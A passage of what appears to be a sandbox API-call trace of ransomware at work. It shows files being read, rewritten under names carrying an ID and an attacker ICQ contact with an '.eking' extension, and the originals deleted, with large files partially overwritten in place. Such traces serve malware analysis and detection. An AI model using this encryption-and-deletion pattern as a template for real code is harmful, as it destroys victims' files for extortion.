CloseHandle (hObject=0x32c) returned 1 [0086.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 0x80 [0086.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 0x80 [0086.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0086.655] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0086.655] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0086.655] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0086.655] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0086.655] ReadFile (in: hFile=0x32c, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x37e, lpOverlapped=0x0) returned 1 [0086.681] WriteFile (in: hFile=0x330, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x380, lpOverlapped=0x0) returned 1 [0086.683] WriteFile (in: hFile=0x330, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0086.683] CloseHandle (hObject=0x32c) returned 1 [0086.683] CloseHandle (hObject=0x330) returned 1 [0086.684] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 1 [0086.685] SetEvent (hEvent=0x2cc) returned 1 [0086.685] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0086.685] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=894) returned 1 [0086.686] CloseHandle (hObject=0x330) returned 1 [0086.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 0x80 [0086.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 0x80 [0086.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0086.686] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0086.686] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0086.686] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0086.686] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0086.686] ReadFile (in: hFile=0x330, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x37e, lpOverlapped=0x0) returned 1 [0086.853] WriteFile (in: hFile=0x32c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x380, lpOverlapped=0x0) returned 1 [0086.854] WriteFile (in: hFile=0x32c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0086.854] CloseHandle (hObject=0x330) returned 1 [0086.854] CloseHandle (hObject=0x32c) returned 1 [0086.855] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 1 [0086.857] SetEvent (hEvent=0x2cc) returned 1 [0086.857] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294 [0086.861] GetFileSizeEx (in: hFile=0x294, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=894) returned 1 [0086.861] CloseHandle (hObject=0x294) returned 1 [0086.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 0x80 [0086.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 0x80 [0086.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0086.861] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294 [0086.861] SetFilePointerEx (in: hFile=0x294, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0086.861] SetFilePointerEx (in: hFile=0x294, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0086.861] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0086.862] ReadFile (in: hFile=0x294, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x37e, lpOverlapped=0x0) returned 1 [0086.925] WriteFile (in: hFile=0x32c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x380, lpOverlapped=0x0) returned 1 [0086.929] WriteFile (in: hFile=0x32c, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0086.929] CloseHandle (hObject=0x294) returned 1 [0086.929] CloseHandle (hObject=0x32c) returned 1 [0086.935] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 1 [0086.939] SetEvent (hEvent=0x2cc) returned 1 [0086.939] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0086.939] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=1150) returned 1 [0086.939] CloseHandle (hObject=0x32c) returned 1 [0086.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 0x80 [0086.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 0x80 [0086.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0086.940] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0086.940] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0086.940] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0086.940] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0087.672] ReadFile (in: hFile=0x32c, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x47e, lpOverlapped=0x0) returned 1 [0087.975] WriteFile (in: hFile=0x330, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x480, lpOverlapped=0x0) returned 1 [0087.989] WriteFile (in: hFile=0x330, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0087.989] CloseHandle (hObject=0x32c) returned 1 [0087.989] CloseHandle (hObject=0x330) returned 1 [0087.992] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 1 [0087.998] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0087.999] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=1150) returned 1 [0087.999] CloseHandle (hObject=0x32c) returned 1 [0087.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 0x80 [0088.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 0x80 [0088.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0088.001] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0088.001] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0088.001] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0088.001] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0088.005] ReadFile (in: hFile=0x318, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x47e, lpOverlapped=0x0) returned 1 [0088.022] WriteFile (in: hFile=0x328, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x480, lpOverlapped=0x0) returned 1 [0088.024] WriteFile (in: hFile=0x328, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0088.024] CloseHandle (hObject=0x318) returned 1 [0088.024] CloseHandle (hObject=0x328) returned 1 [0088.028] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 1 [0088.029] SetEvent (hEvent=0x2cc) returned 1 [0088.030] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0088.030] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=1150) returned 1 [0088.030] CloseHandle (hObject=0x328) returned 1 [0088.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 0x80 [0088.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 0x80 [0088.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0088.030] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0088.030] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0088.030] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0088.030] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x318 [0088.031] ReadFile (in: hFile=0x328, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x47e, lpOverlapped=0x0) returned 1 [0088.073] WriteFile (in: hFile=0x318, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x480, lpOverlapped=0x0) returned 1 [0088.083] WriteFile (in: hFile=0x318, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0088.084] CloseHandle (hObject=0x328) returned 1 [0088.084] CloseHandle (hObject=0x318) returned 1 [0088.090] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 1 [0088.091] SetEvent (hEvent=0x2cc) returned 1 [0088.091] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0088.092] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=3628) returned 1 [0088.092] CloseHandle (hObject=0x318) returned 1 [0088.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80 [0088.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80 [0088.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0088.093] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0088.093] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0088.093] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0088.093] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0088.093] ReadFile (in: hFile=0x318, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0xe2c, lpOverlapped=0x0) returned 1 [0088.349] WriteFile (in: hFile=0x328, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xe30, lpOverlapped=0x0) returned 1 [0088.350] WriteFile (in: hFile=0x328, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xf2, lpOverlapped=0x0) returned 1 [0088.350] CloseHandle (hObject=0x318) returned 1 [0088.350] CloseHandle (hObject=0x328) returned 1 [0088.352] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 1 [0088.353] SetEvent (hEvent=0x2cc) returned 1 [0088.354] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0088.355] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=1901056) returned 1 [0088.355] CloseHandle (hObject=0x328) returned 1 [0088.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi")) returned 0x80 [0088.355] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0088.356] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0088.356] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f0 | out: lpNewFilePointer=0x0) returned 1 [0088.357] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f0 | out: lpNewFilePointer=0x0) returned 1 [0088.357] ReadFile (in: hFile=0x328, lpBuffer=0x3baf058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x36ff7fc, lpOverlapped=0x0 | out: lpBuffer=0x3baf058*, lpNumberOfBytesRead=0x36ff7fc*=0x40000, lpOverlapped=0x0) returned 1 [0088.360] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f0 | out: lpNewFilePointer=0x0) returned 1 [0088.360] ReadFile (in: hFile=0x328, lpBuffer=0x3bef058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x36ff7fc, lpOverlapped=0x0 | out: lpBuffer=0x3bef058*, lpNumberOfBytesRead=0x36ff7fc*=0x40000, lpOverlapped=0x0) returned 1 [0088.367] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f0 | out: lpNewFilePointer=0x0) returned 1 [0088.368] ReadFile (in: hFile=0x328, lpBuffer=0x3c2f058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x36ff7fc, lpOverlapped=0x0 | out: lpBuffer=0x3c2f058*, lpNumberOfBytesRead=0x36ff7fc*=0x40000, lpOverlapped=0x0) returned 1 [0088.382] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff960 | out: lpNewFilePointer=0x0) returned 1 [0088.382] WriteFile (in: hFile=0x328, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xc0112, lpOverlapped=0x0) returned 1 [0088.773] SetEndOfFile (hFile=0x328) returned 1 [0088.773] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x36ff7f8 | out: lpNewFilePointer=0x0) returned 1 [0088.773] WriteFile (in: hFile=0x328, lpBuffer=0x3c6f14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x36ff804, lpOverlapped=0x0 | out: lpBuffer=0x3c6f14a*, 